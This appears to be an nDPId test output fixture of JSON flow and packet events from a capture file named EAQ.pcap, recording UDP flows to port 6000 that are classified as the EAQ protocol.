+00498{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":79,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1432820972471,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.141.68","src_port":34687,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00469{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":79,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1432820972471,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.141.68","src_port":34687,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":79,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1432820974471,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.137.66","src_port":53354,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00469{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":79,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1432820974471,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.137.66","src_port":53354,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":79,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1432820973471,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.137.67","src_port":39221,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00469{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":79,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1432820973471,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.137.67","src_port":39221,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":79,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1432820971475,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.141.66","src_port":41438,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00469{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":79,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1432820971475,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.141.66","src_port":41438,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":79,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1432820975471,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.137.68","src_port":59959,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00469{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":79,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1432820975471,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.137.68","src_port":59959,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":79,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1432820969101,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.149.66","src_port":33356,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00469{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":79,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1432820969101,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.149.66","src_port":33356,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":79,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1432820978471,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.129.68","src_port":47714,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00469{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":79,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1432820978471,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.129.68","src_port":47714,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":79,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1432820976471,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.129.67","src_port":37985,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00469{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":79,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1432820976471,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.129.67","src_port":37985,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":79,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1432820970111,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.134.67","src_port":40058,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00469{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":79,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1432820970111,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.134.67","src_port":40058,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00412{"flow_id":16,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":79,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820979,"pkt_ts_usec":471387,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR47MKCAAByMKEQqvLF3AAGLWJAAAAAQAADdwABpIHAACQAA=="} +00412{"flow_id":16,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":80,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820979,"pkt_ts_usec":565289,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsABlAABARE5vIwoRCCggAARdwq8sAGOWJAAAAAQAADdwABpIHAABgAA=="} +00511{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":80,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":4,"flow_first_seen":1432820957932,"flow_last_seen":1432820979565,"flow_tot_l4_data_len":96,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.132.66","src_port":43979,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":81,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_first_seen":1432820979565,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.141.67","src_port":48563,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00412{"flow_id":40,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":81,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820979,"pkt_ts_usec":565381,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR2rIKCAAByMKNQ72zF3AAGJmsAAAAAQAADdwABpL7AACQAA=="} +00412{"flow_id":18,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":82,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820980,"pkt_ts_usec":561383,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR47IKCAAByMKEQ5kRF3AAGFMTAAAAAQAADdwABwc2AACQAA=="} +00412{"flow_id":18,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":83,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820980,"pkt_ts_usec":615033,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsABpAABARE5nIwoRDCggAARdwmREAGIMTAAAAAQAADdwABwc2AABgAA=="} +00511{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":83,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":4,"flow_first_seen":1432820958981,"flow_last_seen":1432820980615,"flow_tot_l4_data_len":96,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.132.67","src_port":39185,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00412{"flow_id":19,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":84,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820980,"pkt_ts_usec":615124,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR47EKCAAByMKERM32F3AAGHylAAAAAQAADdwAB6i9AACQAA=="} +00412{"flow_id":19,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":85,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820980,"pkt_ts_usec":685010,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsABtAABARE5fIwoRECggAARdwzfYAGKylAAAAAQAADdwAB6i9AABgAA=="} +00511{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":85,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":4,"flow_first_seen":1432820959035,"flow_last_seen":1432820980685,"flow_tot_l4_data_len":96,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.132.68","src_port":52726,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":86,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":1432820980685,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.133.66","src_port":56128,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00412{"flow_id":41,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":86,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820980,"pkt_ts_usec":685101,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR4rMKCAAByMKFQttAF3AAGE3SAAAAAQAADdwAB8lIAACQAA=="} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":87,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1432820981681,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.133.67","src_port":57004,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":42,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":87,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820981,"pkt_ts_usec":681378,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR4rIKCAAByMKFQ96sF3AAGCMsAAAAAQAADdwAB\/CBAACQAA=="} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":88,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_first_seen":1432820982681,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.133.68","src_port":53059,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00412{"flow_id":43,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":88,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820982,"pkt_ts_usec":681348,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR4rEKCAAByMKFRM9DF3AAGCE7AAAAAQAADdwACQHZAACQAA=="} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":89,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1432820983681,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.136.66","src_port":36552,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00412{"flow_id":44,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":89,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820983,"pkt_ts_usec":681348,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR37MKCAAByMKIQo7IF3AAGF3iAAAAAQAADdwACQKvAACQAA=="} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":90,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":1432820984681,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.136.68","src_port":43934,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00412{"flow_id":45,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":90,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820984,"pkt_ts_usec":681348,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR37EKCAAByMKIRKueF3AAGOaZAAAAAQAADdwADF0cAACQAA=="} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":91,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":1,"flow_first_seen":1432820985681,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.134.66","src_port":47346,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00412{"flow_id":46,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":91,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820985,"pkt_ts_usec":681378,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR4bMKCAAByMKGQrjyF3AAGNpxAAAAAQAADdwADF3yAACQAA=="} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":92,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_first_seen":1432820986681,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.134.68","src_port":59098,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00412{"flow_id":47,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":92,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820986,"pkt_ts_usec":681348,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR4bEKCAAByMKGRObaF3AAGKvQAAAAAQAADdwADF6pAACQAA=="} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":93,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1432820987681,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.149.67","src_port":50175,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":48,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":93,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820987,"pkt_ts_usec":681348,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR0rIKCAAByMKVQ8P\/F3AAGL8TAAAAAQAADdwADF9CAACQAA=="} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":94,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":1432820988681,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.149.68","src_port":36577,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":49,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":94,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820988,"pkt_ts_usec":681378,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR0rEKCAAByMKVRI7hF3AAGPOYAAAAAQAADdwADF\/aAACQAA=="} +00498{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":95,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_first_seen":1432820979565,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.141.67","src_port":48563,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00469{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":95,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_first_seen":1432820979565,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.141.67","src_port":48563,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":95,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1432820981681,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.133.67","src_port":57004,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00469{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":95,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1432820981681,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.133.67","src_port":57004,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":95,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1432820983681,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.136.66","src_port":36552,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00469{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":95,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1432820983681,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.136.66","src_port":36552,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":95,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_first_seen":1432820986681,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.134.68","src_port":59098,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00469{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":95,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_first_seen":1432820986681,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.134.68","src_port":59098,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 